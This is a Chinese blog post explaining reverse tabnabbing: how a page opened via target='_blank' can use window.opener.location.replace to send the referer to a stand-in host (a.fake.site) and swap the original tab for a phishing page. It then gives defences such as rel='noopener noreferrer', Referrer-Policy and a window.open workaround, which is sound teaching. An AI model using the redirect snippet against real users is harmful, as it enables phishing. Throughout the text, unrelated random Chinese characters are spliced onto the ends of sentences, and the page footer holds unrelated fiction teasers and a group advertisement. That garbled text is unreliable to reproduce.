網(wǎng)頁中a鏈接中隱藏著危險(xiǎn)题山,你知道嗎兰粉?

前言

在網(wǎng)頁中使用a鏈接時(shí),可能會(huì)添加一個(gè)簡單的 target="_blank" 屬性到 a 標(biāo)簽上來讓瀏覽器用一個(gè)新的標(biāo)簽頁來打開一個(gè) URL 地址顶瞳。但是這一屬性正在成為網(wǎng)絡(luò)釣魚者攻擊的機(jī)會(huì)玖姑。

parent 和 opener

在討論 opener 對象之前,我們先看看 <iframe> 里面的 parent 對象慨菱。

我們都知道 <iframe> 提供了一個(gè)用于父頁面與子頁面交互的對象焰络,它就是 window.parent。也就是我們可以通過 window.parent 對象去訪問父頁面的 window對象符喝。

而 opener 是跟 parent 一樣的對象闪彼,但是它只是用于通過 <a target="_blank"> 來打開的新標(biāo)簽頁。你可以通過 window.opener 直接的訪問到新標(biāo)簽頁面的 window 對象协饲。

同域和跨域

瀏覽器原本提供了完整的跨域保護(hù)機(jī)制畏腕。當(dāng)新舊頁面域名相同時(shí)缴川,事實(shí)上 parent 對象和 opener 對象都是父頁面的 window 對象。當(dāng)域名不同時(shí)描馅,parent 和 opener 是包裝過的 global 對象把夸。這個(gè) global 對象只提供了非常受限制的屬性,其中大部分的屬性是不允許訪問的 (當(dāng)你點(diǎn)出這些屬性時(shí)它會(huì)拋一個(gè) DOMException 的錯(cuò)誤)流昏。

在 <iframe> 中扎即,提供了一個(gè) sandbox 屬性來控制這些頁面的權(quán)限,所以即使是相同域名况凉,你也可以通過它來控制 <iframe> 的安全性谚鄙。

惡意攻擊

如果你的網(wǎng)站上有一個(gè)使用了 target="_blank" 的 a 標(biāo)簽鏈接,一旦用戶點(diǎn)擊了這個(gè)鏈接打開了新的標(biāo)簽頁刁绒,如果這個(gè)標(biāo)簽頁跳轉(zhuǎn)的網(wǎng)站內(nèi)存在的惡意代碼闷营,那么你原本頁面的網(wǎng)站可能會(huì)被轉(zhuǎn)到一個(gè)假的頁面。也就是說知市,當(dāng)用戶回到原本的頁面時(shí)傻盟,他看到的可能就是已經(jīng)被替換過的釣魚頁面了。

這里還是要推薦下小編的web前端學(xué)習(xí) 群 : 687958461嫂丙,不管你是小白還是大牛娘赴,小編我都?xì)g迎,不定期分享干貨跟啤,包括 小編自己整理的一份最新的web前端資料和0基礎(chǔ)入門教程诽表,歡迎初學(xué)和進(jìn) 階中的小伙伴。在不忙的時(shí)間我會(huì)給大家解惑隅肥。

步驟

1. 你的網(wǎng)站上有一個(gè) a 標(biāo)簽的鏈接 https://example.com:

Enter an "evil" website

一個(gè)用戶點(diǎn)擊了這個(gè)鏈接在一個(gè)新的標(biāo)簽頁打開這個(gè)新的網(wǎng)站竿奏。這個(gè)網(wǎng)站可以根據(jù)用戶跳轉(zhuǎn)新頁面的 HTTP 請求中的 header 里的 Referer 字段來確定這個(gè)用戶的來源。

而這個(gè)網(wǎng)站包含類似的 JavaScript code:

const url = encodeURIComponent('{{header.referer}}');

window.opener.location.replace('https://a.fake.site/?' + url);

2. 現(xiàn)在腥放,這個(gè)用戶繼續(xù)瀏覽合格新打開的標(biāo)簽頁泛啸,當(dāng)這個(gè)開始的頁面已經(jīng)加載到 https://a.fake.site/?https%3A%2F%2Fexample.com%2F 之后。

3. 這個(gè)惡意的網(wǎng)站 https://a.fake.site 可以根據(jù)這個(gè) querystring 部分偽造一個(gè)跟原本的頁面一樣的頁面來欺騙用戶(其實(shí)你也可以在這期間制造另一個(gè)跳轉(zhuǎn)秃症,讓瀏覽器的地址欄看起來更令人困惑)

4. 當(dāng)用戶關(guān)掉這個(gè)新標(biāo)簽頁(https://an.evil.site)然后回到開始的頁面時(shí)…………Oh, no, 你再也回不到開始那個(gè)頁面了候址。

以上的攻擊方式,是在跨域的場景中种柑。因?yàn)楫?dāng)跳轉(zhuǎn)的頁面跨域時(shí)宗雇,opener 對象與 parent 是同一個(gè)。雖然莹规,都是受限制的并且只提供了很少的受限的可用屬性。并且這一些可用的屬性里泌神,大部分都不被允許訪問(否則使用時(shí)會(huì)直接報(bào)錯(cuò) DOMException)良漱。但是在跨域的場景中舞虱,opener 對象不像 parent 對象那么嚴(yán)格,opener 依然可以調(diào)用 location.replace 方法母市。

如果這是同域場景(例如矾兜,這個(gè)網(wǎng)站上的一個(gè)頁面已經(jīng)被嵌入了惡意代碼),那么這個(gè)情況會(huì)變得更加嚴(yán)重患久。

預(yù)防

在 <iframe> 中有一個(gè) sandbox 屬性椅寺,所以你可以使用以下的一些方法來預(yù)防鏈接:

1. Referrer Policy 和 noreferrer

在上述的攻擊步驟中,有用到 HTTP header 里的 Referer 屬性蒋失。事實(shí)上返帕,你可以在當(dāng)前頁面返回的 HTTP Response Headers 中添加 Referrer Policy 頭來確保原本網(wǎng)頁可以不受新標(biāo)簽頁的干擾。

你需要修改后端代碼(譯注:或者 nginx 配置)來實(shí)現(xiàn)添加 Referer Policy 頭篙挽。同時(shí)在前端荆萤,你也可以使用 <a> 標(biāo)簽本身支持的 rel 屬性,通過指明 rel="noreferrer" 來確保原網(wǎng)頁不受新標(biāo)簽頁的干擾铣卡。

Enter an "evil" website

然而链韭,需要注意的是及時(shí)你已經(jīng)限制了 referer 的傳遞,原網(wǎng)頁依舊無法阻止被惡意地重定向煮落。

2. noopener

處于安全的考慮敞峭,現(xiàn)代瀏覽器支持指定 rel="noopener" 在 <a> 標(biāo)簽上,從而在新打開的標(biāo)簽頁里蝉仇,opener 對象將不可用旋讹,其值直接被設(shè)置成了 null。

Enter an "evil" website

3. JavaScript

而 noopener 屬性看起來解決了所有的問題量淌,但是…… 你仍舊需要考慮瀏覽器兼容的情況骗村。

如你所見, 大部分瀏覽器都已經(jīng)兼容 rel="noopener" 屬性了。然而呀枢,為了保護(hù)略老一點(diǎn)版本的瀏覽器以及遠(yuǎn)古瀏覽器(譯注:比如 IE)胚股,只用 noopener 是不夠的淀歇。

所以你不得不參考以下的 JavaScript 代碼來處理:

"use strict";

function openUrl(url) {

var newTab = window.open();

newTab.opener = null;

newTab.location = url;

}

最佳忠告

首先双揪,你可以添加 rel="noopener" 到網(wǎng)站的 a 標(biāo)簽上(也推薦使用 rel="noreferrer"), 如果算上 target="_blank"英染,那么看起來大概是這樣:

rel="noopener noreferrer">

Enter an "evil" website

當(dāng)然耳鸯,當(dāng)你要跳轉(zhuǎn)到第三方網(wǎng)站的時(shí)候喂柒,就推薦添加 rel="nofollow" 來調(diào)整 SEO 權(quán)重志鞍。這看起來像:

rel="noopener noreferrer nofollow">

Enter an "evil" website

性能

最后恨搓,我們來討論一下性能問題蝗茁,如果網(wǎng)站使用 <a target="_blank”> 新打開的標(biāo)簽頁的性能就會(huì)影響當(dāng)前打開的頁面枷恕。在這一點(diǎn)看來党晋,如果在新開的頁面里有一個(gè)很臃腫的 JavaScript 腳本要執(zhí)行,那么原本的頁面也會(huì)受到影響,同時(shí)當(dāng)前頁面停滯的現(xiàn)象也可能出現(xiàn)(相當(dāng)于這兩個(gè)頁面是在同一個(gè)線程上)未玻。

如果 noopener 添加到了鏈接上灾而,那么這新舊兩個(gè)頁面就不能互相插手對方了,也就是說原來的頁面不會(huì)受到新頁面的影響(這兩個(gè)頁面就變成兩個(gè)線程了)扳剿。

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末旁趟,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子庇绽,更是在濱河造成了極大的恐慌锡搜,老刑警劉巖,帶你破解...
    沈念sama閱讀 216,919評論 6 502
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件瞧掺,死亡現(xiàn)場離奇詭異耕餐,居然都是意外死亡,警方通過查閱死者的電腦和手機(jī)夸盟,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,567評論 3 392
  • 文/潘曉璐 我一進(jìn)店門蛾方,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人上陕,你說我怎么就攤上這事桩砰。” “怎么了释簿?”我有些...
    開封第一講書人閱讀 163,316評論 0 353
  • 文/不壞的土叔 我叫張陵亚隅,是天一觀的道長。 經(jīng)常有香客問我庶溶,道長煮纵,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 58,294評論 1 292
  • 正文 為了忘掉前任偏螺,我火速辦了婚禮行疏,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘套像。我一直安慰自己酿联,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,318評論 6 390
  • 文/花漫 我一把揭開白布夺巩。 她就那樣靜靜地躺著贞让,像睡著了一般。 火紅的嫁衣襯著肌膚如雪柳譬。 梳的紋絲不亂的頭發(fā)上喳张,一...
    開封第一講書人閱讀 51,245評論 1 299
  • 那天,我揣著相機(jī)與錄音美澳,去河邊找鬼销部。 笑死摸航,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的柴墩。 我是一名探鬼主播忙厌,決...
    沈念sama閱讀 40,120評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼江咳!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起哥放,我...
    開封第一講書人閱讀 38,964評論 0 275
  • 序言:老撾萬榮一對情侶失蹤歼指,失蹤者是張志新(化名)和其女友劉穎,沒想到半個(gè)月后甥雕,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體踩身,經(jīng)...
    沈念sama閱讀 45,376評論 1 313
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,592評論 2 333
  • 正文 我和宋清朗相戀三年社露,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了挟阻。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 39,764評論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡峭弟,死狀恐怖附鸽,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情瞒瘸,我是刑警寧澤坷备,帶...
    沈念sama閱讀 35,460評論 5 344
  • 正文 年R本政府宣布,位于F島的核電站情臭,受9級特大地震影響省撑,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜俯在,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,070評論 3 327
  • 文/蒙蒙 一竟秫、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧跷乐,春花似錦肥败、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,697評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至揪荣,卻和暖如春筷黔,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背仗颈。 一陣腳步聲響...
    開封第一講書人閱讀 32,846評論 1 269
  • 我被黑心中介騙來泰國打工佛舱, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留椎例,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 47,819評論 2 370
  • 正文 我出身青樓请祖,卻偏偏與公主長得像订歪,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個(gè)殘疾皇子肆捕,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,665評論 2 354

推薦閱讀更多精彩內(nèi)容

  • HTML標(biāo)簽解釋大全 一刷晋、HTML標(biāo)記 標(biāo)簽:!DOCTYPE 說明:指定了 HTML 文檔遵循的文檔類型定義(D...
    米塔塔閱讀 3,240評論 1 41
  • ??ECMAScript 是 JavaScript 的核心眼虱,但如果要在 Web 中使用 JavaScript,那么...
    霜天曉閱讀 877評論 0 0
  • 問答題47 /72 常見瀏覽器兼容性問題與解決方案席纽? 參考答案 (1)瀏覽器兼容問題一:不同瀏覽器的標(biāo)簽?zāi)J(rèn)的外補(bǔ)...
    _Yfling閱讀 13,751評論 1 92
  • 第一部分 HTML&CSS整理答案 1. 什么是HTML5捏悬? 答:HTML5是最新的HTML標(biāo)準(zhǔn)。 注意:講述HT...
    kismetajun閱讀 27,476評論 1 45
  • 前端開發(fā)面試題 <a name='preface'>前言</a> 只看問題點(diǎn)這里 看全部問題和答案點(diǎn)這里 本文由我...
    自you是敏感詞閱讀 760評論 0 3